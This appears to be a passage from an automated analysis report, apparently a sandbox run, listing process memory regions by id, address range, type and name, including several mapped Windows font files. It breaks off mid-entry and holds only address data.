start_va = 0xcf60000 end_va = 0xcf63fff entry_point = 0x0 region_type = private name = "private_0x000000000cf60000" filename = "" Region: id = 590 start_va = 0xcf70000 end_va = 0xcf73fff entry_point = 0x0 region_type = private name = "private_0x000000000cf70000" filename = "" Region: id = 591 start_va = 0xcf80000 end_va = 0xcf83fff entry_point = 0x0 region_type = private name = "private_0x000000000cf80000" filename = "" Region: id = 592 start_va = 0xcf90000 end_va = 0xcf93fff entry_point = 0x0 region_type = private name = "private_0x000000000cf90000" filename = "" Region: id = 593 start_va = 0xcfa0000 end_va = 0xcfa3fff entry_point = 0x0 region_type = private name = "private_0x000000000cfa0000" filename = "" Region: id = 594 start_va = 0xcfb0000 end_va = 0xcfb3fff entry_point = 0x0 region_type = private name = "private_0x000000000cfb0000" filename = "" Region: id = 595 start_va = 0xcfc0000 end_va = 0xcfc3fff entry_point = 0x0 region_type = private name = "private_0x000000000cfc0000" filename = "" Region: id = 596 start_va = 0xcfd0000 end_va = 0xcfd3fff entry_point = 0x0 region_type = private name = "private_0x000000000cfd0000" filename = "" Region: id = 597 start_va = 0xcfe0000 end_va = 0xcfe3fff entry_point = 0x0 region_type = private name = "private_0x000000000cfe0000" filename = "" Region: id = 598 start_va = 0xcff0000 end_va = 0xcff3fff entry_point = 0x0 region_type = private name = "private_0x000000000cff0000" filename = "" Region: id = 599 start_va = 0xd000000 end_va = 0xd003fff entry_point = 0x0 region_type = private name = "private_0x000000000d000000" filename = "" Region: id = 600 start_va = 0xd010000 end_va = 0xd013fff entry_point = 0x0 region_type = private name = "private_0x000000000d010000" filename = "" Region: id = 601 start_va = 0xd020000 end_va = 0xd023fff entry_point = 0x0 region_type = private name = "private_0x000000000d020000" filename = "" Region: id = 602 start_va = 0xd030000 end_va = 0xd033fff entry_point = 0x0 region_type = private name = "private_0x000000000d030000" filename = "" Region: id = 603 start_va = 0xd040000 end_va = 0xd043fff entry_point = 0x0 region_type = private name = "private_0x000000000d040000" filename = "" Region: id = 604 start_va = 0xd050000 end_va = 0xd053fff entry_point = 0x0 region_type = private name = "private_0x000000000d050000" filename = "" Region: id = 605 start_va = 0xd060000 end_va = 0xd063fff entry_point = 0x0 region_type = private name = "private_0x000000000d060000" filename = "" Region: id = 606 start_va = 0xd070000 end_va = 0xd073fff entry_point = 0x0 region_type = private name = "private_0x000000000d070000" filename = "" Region: id = 607 start_va = 0xd080000 end_va = 0xd083fff entry_point = 0x0 region_type = private name = "private_0x000000000d080000" filename = "" Region: id = 608 start_va = 0xd090000 end_va = 0xd093fff entry_point = 0x0 region_type = private name = "private_0x000000000d090000" filename = "" Region: id = 609 start_va = 0xd0a0000 end_va = 0xd0a3fff entry_point = 0x0 region_type = private name = "private_0x000000000d0a0000" filename = "" Region: id = 610 start_va = 0xd0b0000 end_va = 0xd0b3fff entry_point = 0x0 region_type = private name = "private_0x000000000d0b0000" filename = "" Region: id = 611 start_va = 0xd0c0000 end_va = 0xd0c3fff entry_point = 0x0 region_type = private name = "private_0x000000000d0c0000" filename = "" Region: id = 612 start_va = 0xd0d0000 end_va = 0xd0d3fff entry_point = 0x0 region_type = private name = "private_0x000000000d0d0000" filename = "" Region: id = 613 start_va = 0xd0e0000 end_va = 0xd0e3fff entry_point = 0x0 region_type = private name = "private_0x000000000d0e0000" filename = "" Region: id = 614 start_va = 0xd0f0000 end_va = 0xd0f3fff entry_point = 0x0 region_type = private name = "private_0x000000000d0f0000" filename = "" Region: id = 615 start_va = 0xd100000 end_va = 0xd103fff entry_point = 0x0 region_type = private name = "private_0x000000000d100000" filename = "" Region: id = 616 start_va = 0xd110000 end_va = 0xd113fff entry_point = 0x0 region_type = private name = "private_0x000000000d110000" filename = "" Region: id = 617 start_va = 0xd120000 end_va = 0xd123fff entry_point = 0x0 region_type = private name = "private_0x000000000d120000" filename = "" Region: id = 618 start_va = 0xd130000 end_va = 0xd133fff entry_point = 0x0 region_type = private name = "private_0x000000000d130000" filename = "" Region: id = 619 start_va = 0xd140000 end_va = 0xd143fff entry_point = 0x0 region_type = private name = "private_0x000000000d140000" filename = "" Region: id = 620 start_va = 0xd150000 end_va = 0xd153fff entry_point = 0x0 region_type = private name = "private_0x000000000d150000" filename = "" Region: id = 621 start_va = 0xd160000 end_va = 0xd163fff entry_point = 0x0 region_type = private name = "private_0x000000000d160000" filename = "" Region: id = 622 start_va = 0xd170000 end_va = 0xd173fff entry_point = 0x0 region_type = private name = "private_0x000000000d170000" filename = "" Region: id = 623 start_va = 0xd180000 end_va = 0xd183fff entry_point = 0x0 region_type = private name = "private_0x000000000d180000" filename = "" Region: id = 624 start_va = 0xd190000 end_va = 0xd193fff entry_point = 0x0 region_type = private name = "private_0x000000000d190000" filename = "" Region: id = 625 start_va = 0xd1a0000 end_va = 0xd1a3fff entry_point = 0x0 region_type = private name = "private_0x000000000d1a0000" filename = "" Region: id = 626 start_va = 0xd1b0000 end_va = 0xd1b2fff entry_point = 0x0 region_type = private name = "private_0x000000000d1b0000" filename = "" Region: id = 627 start_va = 0xd1c0000 end_va = 0xd1c3fff entry_point = 0x0 region_type = private name = "private_0x000000000d1c0000" filename = "" Region: id = 628 start_va = 0xd1d0000 end_va = 0xd1d3fff entry_point = 0x0 region_type = private name = "private_0x000000000d1d0000" filename = "" Region: id = 629 start_va = 0xd1e0000 end_va = 0xd1e3fff entry_point = 0x0 region_type = private name = "private_0x000000000d1e0000" filename = "" Region: id = 630 start_va = 0xd1f0000 end_va = 0xd1f3fff entry_point = 0x0 region_type = private name = "private_0x000000000d1f0000" filename = "" Region: id = 631 start_va = 0xd200000 end_va = 0xd203fff entry_point = 0x0 region_type = private name = "private_0x000000000d200000" filename = "" Region: id = 632 start_va = 0xd210000 end_va = 0xd213fff entry_point = 0x0 region_type = private name = "private_0x000000000d210000" filename = "" Region: id = 633 start_va = 0xd220000 end_va = 0xd223fff entry_point = 0x0 region_type = private name = "private_0x000000000d220000" filename = "" Region: id = 634 start_va = 0xd230000 end_va = 0xd233fff entry_point = 0x0 region_type = private name = "private_0x000000000d230000" filename = "" Region: id = 635 start_va = 0xd240000 end_va = 0xd243fff entry_point = 0x0 region_type = private name = "private_0x000000000d240000" filename = "" Region: id = 636 start_va = 0xd250000 end_va = 0xd253fff entry_point = 0x0 region_type = private name = "private_0x000000000d250000" filename = "" Region: id = 637 start_va = 0xd260000 end_va = 0xd263fff entry_point = 0x0 region_type = private name = "private_0x000000000d260000" filename = "" Region: id = 638 start_va = 0xd270000 end_va = 0xd273fff entry_point = 0x0 region_type = private name = "private_0x000000000d270000" filename = "" Region: id = 639 start_va = 0xd280000 end_va = 0xd283fff entry_point = 0x0 region_type = private name = "private_0x000000000d280000" filename = "" Region: id = 640 start_va = 0xd290000 end_va = 0xd293fff entry_point = 0x0 region_type = private name = "private_0x000000000d290000" filename = "" Region: id = 641 start_va = 0xd2a0000 end_va = 0xd2a3fff entry_point = 0x0 region_type = private name = "private_0x000000000d2a0000" filename = "" Region: id = 642 start_va = 0xd2b0000 end_va = 0xd2b3fff entry_point = 0x0 region_type = private name = "private_0x000000000d2b0000" filename = "" Region: id = 643 start_va = 0xd2c0000 end_va = 0xd2c3fff entry_point = 0x0 region_type = private name = "private_0x000000000d2c0000" filename = "" Region: id = 644 start_va = 0xd2d0000 end_va = 0xd2d3fff entry_point = 0x0 region_type = private name = "private_0x000000000d2d0000" filename = "" Region: id = 645 start_va = 0xd2e0000 end_va = 0xd2e3fff entry_point = 0x0 region_type = private name = "private_0x000000000d2e0000" filename = "" Region: id = 646 start_va = 0xd2f0000 end_va = 0xd2f3fff entry_point = 0x0 region_type = private name = "private_0x000000000d2f0000" filename = "" Region: id = 647 start_va = 0xd300000 end_va = 0xd303fff entry_point = 0x0 region_type = private name = "private_0x000000000d300000" filename = "" Region: id = 648 start_va = 0xd310000 end_va = 0xd313fff entry_point = 0x0 region_type = private name = "private_0x000000000d310000" filename = "" Region: id = 649 start_va = 0xd320000 end_va = 0xd323fff entry_point = 0x0 region_type = private name = "private_0x000000000d320000" filename = "" Region: id = 650 start_va = 0xd330000 end_va = 0xd333fff entry_point = 0x0 region_type = private name = "private_0x000000000d330000" filename = "" Region: id = 651 start_va = 0xd340000 end_va = 0xd343fff entry_point = 0x0 region_type = private name = "private_0x000000000d340000" filename = "" Region: id = 652 start_va = 0xd350000 end_va = 0xd353fff entry_point = 0x0 region_type = private name = "private_0x000000000d350000" filename = "" Region: id = 653 start_va = 0xd360000 end_va = 0xd363fff entry_point = 0x0 region_type = private name = "private_0x000000000d360000" filename = "" Region: id = 654 start_va = 0xd370000 end_va = 0xd373fff entry_point = 0x0 region_type = private name = "private_0x000000000d370000" filename = "" Region: id = 655 start_va = 0xd380000 end_va = 0xd383fff entry_point = 0x0 region_type = private name = "private_0x000000000d380000" filename = "" Region: id = 656 start_va = 0xd390000 end_va = 0xd393fff entry_point = 0x0 region_type = private name = "private_0x000000000d390000" filename = "" Region: id = 657 start_va = 0xd3a0000 end_va = 0xd3a3fff entry_point = 0x0 region_type = private name = "private_0x000000000d3a0000" filename = "" Region: id = 658 start_va = 0xd3b0000 end_va = 0xd3b3fff entry_point = 0x0 region_type = private name = "private_0x000000000d3b0000" filename = "" Region: id = 659 start_va = 0xd3c0000 end_va = 0xd3c3fff entry_point = 0x0 region_type = private name = "private_0x000000000d3c0000" filename = "" Region: id = 660 start_va = 0xd3d0000 end_va = 0xd3d3fff entry_point = 0x0 region_type = private name = "private_0x000000000d3d0000" filename = "" Region: id = 661 start_va = 0xd3e0000 end_va = 0xd3e3fff entry_point = 0x0 region_type = private name = "private_0x000000000d3e0000" filename = "" Region: id = 662 start_va = 0xd3f0000 end_va = 0xd3f3fff entry_point = 0x0 region_type = private name = "private_0x000000000d3f0000" filename = "" Region: id = 663 start_va = 0xd400000 end_va = 0xd403fff entry_point = 0x0 region_type = private name = "private_0x000000000d400000" filename = "" Region: id = 664 start_va = 0xd410000 end_va = 0xd413fff entry_point = 0x0 region_type = private name = "private_0x000000000d410000" filename = "" Region: id = 665 start_va = 0xd420000 end_va = 0xd423fff entry_point = 0x0 region_type = private name = "private_0x000000000d420000" filename = "" Region: id = 666 start_va = 0xd430000 end_va = 0xd433fff entry_point = 0x0 region_type = private name = "private_0x000000000d430000" filename = "" Region: id = 667 start_va = 0xd440000 end_va = 0xd443fff entry_point = 0x0 region_type = private name = "private_0x000000000d440000" filename = "" Region: id = 668 start_va = 0xd450000 end_va = 0xd453fff entry_point = 0x0 region_type = private name = "private_0x000000000d450000" filename = "" Region: id = 669 start_va = 0xd460000 end_va = 0xd463fff entry_point = 0x0 region_type = private name = "private_0x000000000d460000" filename = "" Region: id = 670 start_va = 0xd470000 end_va = 0xd473fff entry_point = 0x0 region_type = private name = "private_0x000000000d470000" filename = "" Region: id = 671 start_va = 0xd480000 end_va = 0xd483fff entry_point = 0x0 region_type = private name = "private_0x000000000d480000" filename = "" Region: id = 672 start_va = 0xd490000 end_va = 0xd493fff entry_point = 0x0 region_type = private name = "private_0x000000000d490000" filename = "" Region: id = 673 start_va = 0xd4a0000 end_va = 0xd4a3fff entry_point = 0x0 region_type = private name = "private_0x000000000d4a0000" filename = "" Region: id = 674 start_va = 0xd4b0000 end_va = 0xd4b3fff entry_point = 0x0 region_type = private name = "private_0x000000000d4b0000" filename = "" Region: id = 675 start_va = 0xd4c0000 end_va = 0xd4c3fff entry_point = 0x0 region_type = private name = "private_0x000000000d4c0000" filename = "" Region: id = 676 start_va = 0xd4d0000 end_va = 0xd4d3fff entry_point = 0x0 region_type = private name = "private_0x000000000d4d0000" filename = "" Region: id = 677 start_va = 0xd4e0000 end_va = 0xd4e3fff entry_point = 0x0 region_type = private name = "private_0x000000000d4e0000" filename = "" Region: id = 678 start_va = 0xd4f0000 end_va = 0xd4f3fff entry_point = 0x0 region_type = private name = "private_0x000000000d4f0000" filename = "" Region: id = 679 start_va = 0xd500000 end_va = 0xd503fff entry_point = 0x0 region_type = private name = "private_0x000000000d500000" filename = "" Region: id = 680 start_va = 0xd510000 end_va = 0xd513fff entry_point = 0x0 region_type = private name = "private_0x000000000d510000" filename = "" Region: id = 681 start_va = 0xd520000 end_va = 0xd523fff entry_point = 0x0 region_type = private name = "private_0x000000000d520000" filename = "" Region: id = 682 start_va = 0xd530000 end_va = 0xd533fff entry_point = 0x0 region_type = private name = "private_0x000000000d530000" filename = "" Region: id = 683 start_va = 0xd540000 end_va = 0xd543fff entry_point = 0x0 region_type = private name = "private_0x000000000d540000" filename = "" Region: id = 684 start_va = 0xd550000 end_va = 0xd553fff entry_point = 0x0 region_type = private name = "private_0x000000000d550000" filename = "" Region: id = 685 start_va = 0xd560000 end_va = 0xd563fff entry_point = 0x0 region_type = private name = "private_0x000000000d560000" filename = "" Region: id = 686 start_va = 0xd570000 end_va = 0xd573fff entry_point = 0x0 region_type = private name = "private_0x000000000d570000" filename = "" Region: id = 687 start_va = 0xd580000 end_va = 0xd583fff entry_point = 0x0 region_type = private name = "private_0x000000000d580000" filename = "" Region: id = 688 start_va = 0xd590000 end_va = 0xd593fff entry_point = 0x0 region_type = private name = "private_0x000000000d590000" filename = "" Region: id = 689 start_va = 0xd5a0000 end_va = 0xd5a3fff entry_point = 0x0 region_type = private name = "private_0x000000000d5a0000" filename = "" Region: id = 690 start_va = 0xd5b0000 end_va = 0xd5b3fff entry_point = 0x0 region_type = private name = "private_0x000000000d5b0000" filename = "" Region: id = 691 start_va = 0xd5c0000 end_va = 0xd5c3fff entry_point = 0x0 region_type = private name = "private_0x000000000d5c0000" filename = "" Region: id = 692 start_va = 0xd5d0000 end_va = 0xd5d3fff entry_point = 0x0 region_type = private name = "private_0x000000000d5d0000" filename = "" Region: id = 693 start_va = 0xd5e0000 end_va = 0xd5e3fff entry_point = 0x0 region_type = private name = "private_0x000000000d5e0000" filename = "" Region: id = 694 start_va = 0xd5f0000 end_va = 0xd5f3fff entry_point = 0x0 region_type = private name = "private_0x000000000d5f0000" filename = "" Region: id = 695 start_va = 0xd600000 end_va = 0xd603fff entry_point = 0x0 region_type = private name = "private_0x000000000d600000" filename = "" Region: id = 696 start_va = 0xd610000 end_va = 0xd613fff entry_point = 0x0 region_type = private name = "private_0x000000000d610000" filename = "" Region: id = 697 start_va = 0xd620000 end_va = 0xd623fff entry_point = 0x0 region_type = private name = "private_0x000000000d620000" filename = "" Region: id = 698 start_va = 0xd630000 end_va = 0xd633fff entry_point = 0x0 region_type = private name = "private_0x000000000d630000" filename = "" Region: id = 699 start_va = 0xd640000 end_va = 0xd643fff entry_point = 0x0 region_type = private name = "private_0x000000000d640000" filename = "" Region: id = 700 start_va = 0xd650000 end_va = 0xd653fff entry_point = 0x0 region_type = private name = "private_0x000000000d650000" filename = "" Region: id = 701 start_va = 0xd660000 end_va = 0xd663fff entry_point = 0x0 region_type = private name = "private_0x000000000d660000" filename = "" Region: id = 702 start_va = 0xd670000 end_va = 0xd673fff entry_point = 0x0 region_type = private name = "private_0x000000000d670000" filename = "" Region: id = 703 start_va = 0xd680000 end_va = 0xd683fff entry_point = 0x0 region_type = private name = "private_0x000000000d680000" filename = "" Region: id = 704 start_va = 0xd690000 end_va = 0xd693fff entry_point = 0x0 region_type = private name = "private_0x000000000d690000" filename = "" Region: id = 705 start_va = 0xd6a0000 end_va = 0xd6a3fff entry_point = 0x0 region_type = private name = "private_0x000000000d6a0000" filename = "" Region: id = 706 start_va = 0xd6b0000 end_va = 0xd6b3fff entry_point = 0x0 region_type = private name = "private_0x000000000d6b0000" filename = "" Region: id = 707 start_va = 0xd6c0000 end_va = 0xd6c3fff entry_point = 0x0 region_type = private name = "private_0x000000000d6c0000" filename = "" Region: id = 708 start_va = 0xd6d0000 end_va = 0xd6d3fff entry_point = 0x0 region_type = private name = "private_0x000000000d6d0000" filename = "" Region: id = 709 start_va = 0xd6e0000 end_va = 0xd6e3fff entry_point = 0x0 region_type = private name = "private_0x000000000d6e0000" filename = "" Region: id = 710 start_va = 0xd6f0000 end_va = 0xd6f3fff entry_point = 0x0 region_type = private name = "private_0x000000000d6f0000" filename = "" Region: id = 711 start_va = 0xd700000 end_va = 0xd703fff entry_point = 0x0 region_type = private name = "private_0x000000000d700000" filename = "" Region: id = 712 start_va = 0xd710000 end_va = 0xd713fff entry_point = 0x0 region_type = private name = "private_0x000000000d710000" filename = "" Region: id = 713 start_va = 0xd720000 end_va = 0xd723fff entry_point = 0x0 region_type = private name = "private_0x000000000d720000" filename = "" Region: id = 714 start_va = 0xd730000 end_va = 0xd733fff entry_point = 0x0 region_type = private name = "private_0x000000000d730000" filename = "" Region: id = 715 start_va = 0xd740000 end_va = 0xd743fff entry_point = 0x0 region_type = private name = "private_0x000000000d740000" filename = "" Region: id = 716 start_va = 0xd750000 end_va = 0xd753fff entry_point = 0x0 region_type = private name = "private_0x000000000d750000" filename = "" Region: id = 717 start_va = 0xd760000 end_va = 0xd763fff entry_point = 0x0 region_type = private name = "private_0x000000000d760000" filename = "" Region: id = 718 start_va = 0xd770000 end_va = 0xd773fff entry_point = 0x0 region_type = private name = "private_0x000000000d770000" filename = "" Region: id = 719 start_va = 0xd780000 end_va = 0xd783fff entry_point = 0x0 region_type = private name = "private_0x000000000d780000" filename = "" Region: id = 720 start_va = 0xd790000 end_va = 0xd793fff entry_point = 0x0 region_type = private name = "private_0x000000000d790000" filename = "" Region: id = 721 start_va = 0xd7a0000 end_va = 0xd7a3fff entry_point = 0x0 region_type = private name = "private_0x000000000d7a0000" filename = "" Region: id = 722 start_va = 0xd7b0000 end_va = 0xd7b3fff entry_point = 0x0 region_type = private name = "private_0x000000000d7b0000" filename = "" Region: id = 723 start_va = 0xd7c0000 end_va = 0xd7c3fff entry_point = 0x0 region_type = private name = "private_0x000000000d7c0000" filename = "" Region: id = 724 start_va = 0xd7d0000 end_va = 0xd7d3fff entry_point = 0x0 region_type = private name = "private_0x000000000d7d0000" filename = "" Region: id = 725 start_va = 0xd7e0000 end_va = 0xd7e3fff entry_point = 0x0 region_type = private name = "private_0x000000000d7e0000" filename = "" Region: id = 726 start_va = 0xd7f0000 end_va = 0xd7f3fff entry_point = 0x0 region_type = private name = "private_0x000000000d7f0000" filename = "" Region: id = 727 start_va = 0xd800000 end_va = 0xd803fff entry_point = 0x0 region_type = private name = "private_0x000000000d800000" filename = "" Region: id = 728 start_va = 0xd810000 end_va = 0xd813fff entry_point = 0x0 region_type = private name = "private_0x000000000d810000" filename = "" Region: id = 729 start_va = 0xd820000 end_va = 0xd823fff entry_point = 0x0 region_type = private name = "private_0x000000000d820000" filename = "" Region: id = 730 start_va = 0xd830000 end_va = 0xd833fff entry_point = 0x0 region_type = private name = "private_0x000000000d830000" filename = "" Region: id = 731 start_va = 0xd840000 end_va = 0xd843fff entry_point = 0x0 region_type = private name = "private_0x000000000d840000" filename = "" Region: id = 732 start_va = 0xd850000 end_va = 0xd852fff entry_point = 0x0 region_type = private name = "private_0x000000000d850000" filename = "" Region: id = 733 start_va = 0xd860000 end_va = 0xd863fff entry_point = 0x0 region_type = private name = "private_0x000000000d860000" filename = "" Region: id = 734 start_va = 0xd870000 end_va = 0xd873fff entry_point = 0x0 region_type = private name = "private_0x000000000d870000" filename = "" Region: id = 735 start_va = 0xd880000 end_va = 0xd883fff entry_point = 0x0 region_type = private name = "private_0x000000000d880000" filename = "" Region: id = 736 start_va = 0xd890000 end_va = 0xd893fff entry_point = 0x0 region_type = private name = "private_0x000000000d890000" filename = "" Region: id = 737 start_va = 0xd8a0000 end_va = 0xd8a3fff entry_point = 0x0 region_type = private name = "private_0x000000000d8a0000" filename = "" Region: id = 738 start_va = 0xd8b0000 end_va = 0xd8b3fff entry_point = 0x0 region_type = private name = "private_0x000000000d8b0000" filename = "" Region: id = 739 start_va = 0xd8c0000 end_va = 0xd8c3fff entry_point = 0x0 region_type = private name = "private_0x000000000d8c0000" filename = "" Region: id = 740 start_va = 0xd8d0000 end_va = 0xd8d3fff entry_point = 0x0 region_type = private name = "private_0x000000000d8d0000" filename = "" Region: id = 741 start_va = 0xd8e0000 end_va = 0xd8e3fff entry_point = 0x0 region_type = private name = "private_0x000000000d8e0000" filename = "" Region: id = 742 start_va = 0xd8f0000 end_va = 0xd8f3fff entry_point = 0x0 region_type = private name = "private_0x000000000d8f0000" filename = "" Region: id = 743 start_va = 0xd900000 end_va = 0xd903fff entry_point = 0x0 region_type = private name = "private_0x000000000d900000" filename = "" Region: id = 744 start_va = 0xd910000 end_va = 0xd913fff entry_point = 0x0 region_type = private name = "private_0x000000000d910000" filename = "" Region: id = 745 start_va = 0xd920000 end_va = 0xd923fff entry_point = 0x0 region_type = private name = "private_0x000000000d920000" filename = "" Region: id = 746 start_va = 0xd930000 end_va = 0xd933fff entry_point = 0x0 region_type = private name = "private_0x000000000d930000" filename = "" Region: id = 747 start_va = 0xd940000 end_va = 0xd943fff entry_point = 0x0 region_type = private name = "private_0x000000000d940000" filename = "" Region: id = 748 start_va = 0xd950000 end_va = 0xd953fff entry_point = 0x0 region_type = private name = "private_0x000000000d950000" filename = "" Region: id = 749 start_va = 0xd960000 end_va = 0xd963fff entry_point = 0x0 region_type = private name = "private_0x000000000d960000" filename = "" Region: id = 750 start_va = 0xd970000 end_va = 0xd973fff entry_point = 0x0 region_type = private name = "private_0x000000000d970000" filename = "" Region: id = 751 start_va = 0xd980000 end_va = 0xd983fff entry_point = 0x0 region_type = private name = "private_0x000000000d980000" filename = "" Region: id = 752 start_va = 0xd990000 end_va = 0xd993fff entry_point = 0x0 region_type = private name = "private_0x000000000d990000" filename = "" Region: id = 753 start_va = 0xd9a0000 end_va = 0xd9a3fff entry_point = 0x0 region_type = private name = "private_0x000000000d9a0000" filename = "" Region: id = 754 start_va = 0xd9b0000 end_va = 0xd9b3fff entry_point = 0x0 region_type = private name = "private_0x000000000d9b0000" filename = "" Region: id = 755 start_va = 0xd9c0000 end_va = 0xd9c3fff entry_point = 0x0 region_type = private name = "private_0x000000000d9c0000" filename = "" Region: id = 756 start_va = 0xd9d0000 end_va = 0xd9d3fff entry_point = 0x0 region_type = private name = "private_0x000000000d9d0000" filename = "" Region: id = 757 start_va = 0xd9e0000 end_va = 0xd9e3fff entry_point = 0x0 region_type = private name = "private_0x000000000d9e0000" filename = "" Region: id = 758 start_va = 0xd9f0000 end_va = 0xd9f3fff entry_point = 0x0 region_type = private name = "private_0x000000000d9f0000" filename = "" Region: id = 759 start_va = 0xda00000 end_va = 0xda03fff entry_point = 0x0 region_type = private name = "private_0x000000000da00000" filename = "" Region: id = 760 start_va = 0xda10000 end_va = 0xda13fff entry_point = 0x0 region_type = private name = "private_0x000000000da10000" filename = "" Region: id = 761 start_va = 0xda20000 end_va = 0xda23fff entry_point = 0x0 region_type = private name = "private_0x000000000da20000" filename = "" Region: id = 762 start_va = 0xda30000 end_va = 0xda33fff entry_point = 0x0 region_type = private name = "private_0x000000000da30000" filename = "" Region: id = 763 start_va = 0xda40000 end_va = 0xda43fff entry_point = 0x0 region_type = private name = "private_0x000000000da40000" filename = "" Region: id = 764 start_va = 0xda50000 end_va = 0xda53fff entry_point = 0x0 region_type = private name = "private_0x000000000da50000" filename = "" Region: id = 765 start_va = 0xda60000 end_va = 0xda63fff entry_point = 0x0 region_type = private name = "private_0x000000000da60000" filename = "" Region: id = 766 start_va = 0xda70000 end_va = 0xda73fff entry_point = 0x0 region_type = private name = "private_0x000000000da70000" filename = "" Region: id = 767 start_va = 0xda80000 end_va = 0xda83fff entry_point = 0x0 region_type = private name = "private_0x000000000da80000" filename = "" Region: id = 768 start_va = 0xda90000 end_va = 0xda93fff entry_point = 0x0 region_type = private name = "private_0x000000000da90000" filename = "" Region: id = 769 start_va = 0xdaa0000 end_va = 0xdaa3fff entry_point = 0x0 region_type = private name = "private_0x000000000daa0000" filename = "" Region: id = 770 start_va = 0xdab0000 end_va = 0xdab3fff entry_point = 0x0 region_type = private name = "private_0x000000000dab0000" filename = "" Region: id = 771 start_va = 0xdac0000 end_va = 0xdac3fff entry_point = 0x0 region_type = private name = "private_0x000000000dac0000" filename = "" Region: id = 772 start_va = 0xdad0000 end_va = 0xdad3fff entry_point = 0x0 region_type = private name = "private_0x000000000dad0000" filename = "" Region: id = 773 start_va = 0xdae0000 end_va = 0xdae3fff entry_point = 0x0 region_type = private name = "private_0x000000000dae0000" filename = "" Region: id = 774 start_va = 0xdaf0000 end_va = 0xdaf3fff entry_point = 0x0 region_type = private name = "private_0x000000000daf0000" filename = "" Region: id = 775 start_va = 0xdb00000 end_va = 0xdb03fff entry_point = 0x0 region_type = private name = "private_0x000000000db00000" filename = "" Region: id = 776 start_va = 0xdb10000 end_va = 0xdb13fff entry_point = 0x0 region_type = private name = "private_0x000000000db10000" filename = "" Region: id = 777 start_va = 0xdb20000 end_va = 0xdb23fff entry_point = 0x0 region_type = private name = "private_0x000000000db20000" filename = "" Region: id = 778 start_va = 0xdb30000 end_va = 0xdb33fff entry_point = 0x0 region_type = private name = "private_0x000000000db30000" filename = "" Region: id = 779 start_va = 0xdb40000 end_va = 0xdb43fff entry_point = 0x0 region_type = private name = "private_0x000000000db40000" filename = "" Region: id = 780 start_va = 0xdb50000 end_va = 0xdb53fff entry_point = 0x0 region_type = private name = "private_0x000000000db50000" filename = "" Region: id = 781 start_va = 0xdb60000 end_va = 0xdb63fff entry_point = 0x0 region_type = private name = "private_0x000000000db60000" filename = "" Region: id = 782 start_va = 0xdb70000 end_va = 0xdb73fff entry_point = 0x0 region_type = private name = "private_0x000000000db70000" filename = "" Region: id = 783 start_va = 0xdb80000 end_va = 0xdb83fff entry_point = 0x0 region_type = private name = "private_0x000000000db80000" filename = "" Region: id = 784 start_va = 0xdb90000 end_va = 0xdb93fff entry_point = 0x0 region_type = private name = "private_0x000000000db90000" filename = "" Region: id = 785 start_va = 0xdba0000 end_va = 0xdba3fff entry_point = 0x0 region_type = private name = "private_0x000000000dba0000" filename = "" Region: id = 786 start_va = 0xdbb0000 end_va = 0xdbb3fff entry_point = 0x0 region_type = private name = "private_0x000000000dbb0000" filename = "" Region: id = 787 start_va = 0xdbc0000 end_va = 0xdbc3fff entry_point = 0x0 region_type = private name = "private_0x000000000dbc0000" filename = "" Region: id = 788 start_va = 0xdbd0000 end_va = 0xdbd3fff entry_point = 0x0 region_type = private name = "private_0x000000000dbd0000" filename = "" Region: id = 789 start_va = 0xdbe0000 end_va = 0xdbe3fff entry_point = 0x0 region_type = private name = "private_0x000000000dbe0000" filename = "" Region: id = 790 start_va = 0xdbf0000 end_va = 0xdbf2fff entry_point = 0x0 region_type = private name = "private_0x000000000dbf0000" filename = "" Region: id = 791 start_va = 0xdc00000 end_va = 0xdc03fff entry_point = 0x0 region_type = private name = "private_0x000000000dc00000" filename = "" Region: id = 792 start_va = 0xdc10000 end_va = 0xdc13fff entry_point = 0x0 region_type = private name = "private_0x000000000dc10000" filename = "" Region: id = 793 start_va = 0xdc20000 end_va = 0xdc23fff entry_point = 0x0 region_type = private name = "private_0x000000000dc20000" filename = "" Region: id = 954 start_va = 0x2e20000 end_va = 0x2e20fff entry_point = 0x0 region_type = private name = "private_0x0000000002e20000" filename = "" Region: id = 955 start_va = 0x89a0000 end_va = 0x8a1ffff entry_point = 0x0 region_type = private name = "private_0x00000000089a0000" filename = "" Region: id = 956 start_va = 0xa4b0000 end_va = 0xa86ffff entry_point = 0x0 region_type = private name = "private_0x000000000a4b0000" filename = "" Region: id = 957 start_va = 0xa880000 end_va = 0xa92afff entry_point = 0xa880000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 958 start_va = 0xa960000 end_va = 0xa961fff entry_point = 0x0 region_type = private name = "private_0x000000000a960000" filename = "" Region: id = 959 start_va = 0xdc30000 end_va = 0xdcfbfff entry_point = 0xdc30000 region_type = mapped_file name = "times.ttf" filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf") Region: id = 960 start_va = 0xdd10000 end_va = 0xdd11fff entry_point = 0x0 region_type = private name = "private_0x000000000dd10000" filename = "" Region: id = 961 start_va = 0xdd30000 end_va = 0xdd31fff entry_point = 0x0 region_type = private name = "private_0x000000000dd30000" filename = "" Region: id = 962 start_va = 0xdd50000 end_va = 0xdd51fff entry_point = 0x0 region_type = private name = "private_0x000000000dd50000" filename = "" Region: id = 963 start_va = 0xdd70000 end_va = 0xde6ffff entry_point = 0x0 region_type = private name = "private_0x000000000dd70000" filename = "" Region: id = 964 start_va = 0xde70000 end_va = 0xe66ffff entry_point = 0x0 region_type = private name = "private_0x000000000de70000" filename = "" Region: id = 965 start_va = 0xe670000 end_va = 0xe73dfff entry_point = 0xe670000 region_type = mapped_file name = "timesbd.ttf" filename = "\\Windows\\Fonts\\timesbd.ttf" (normalized: "c:\\windows\\fonts\\timesbd.ttf") Region: id = 966 start_va = 0xe740000 end_va = 0xe7f9fff entry_point = 0xe740000 region_type = mapped_file name = "calibril.ttf" filename = "\\Windows\\Fonts\\CalibriL.ttf" (normalized: "c:\\windows\\fonts\\calibril.ttf") Region: id = 967 start_va = 0xe800000 end_va = 0xe8d4fff entry_point = 0xe800000 region_type = mapped_file name = "calibrili.ttf" filename = "\\Windows\\Fonts\\CalibriLI.ttf" (normalized: "c:\\windows\\fonts\\calibrili.ttf") Region: id = 968 start_va = 0xe8e0000 end_va = 0xe8e1fff entry_point = 0x0 region_type = private name = "private_0x000000000e8e0000" filename = "" Region: id = 969 start_va = 0xe900000 end_va = 0xe901fff entry_point = 0x0 region_type = private name = "private_0x000000000e900000" filename = "" Region: id = 970 start_va = 0xe910000 end_va = 0xe9e0fff entry_point = 0xe910000 region_type = mapped_file name = "calibrii.ttf" filename = 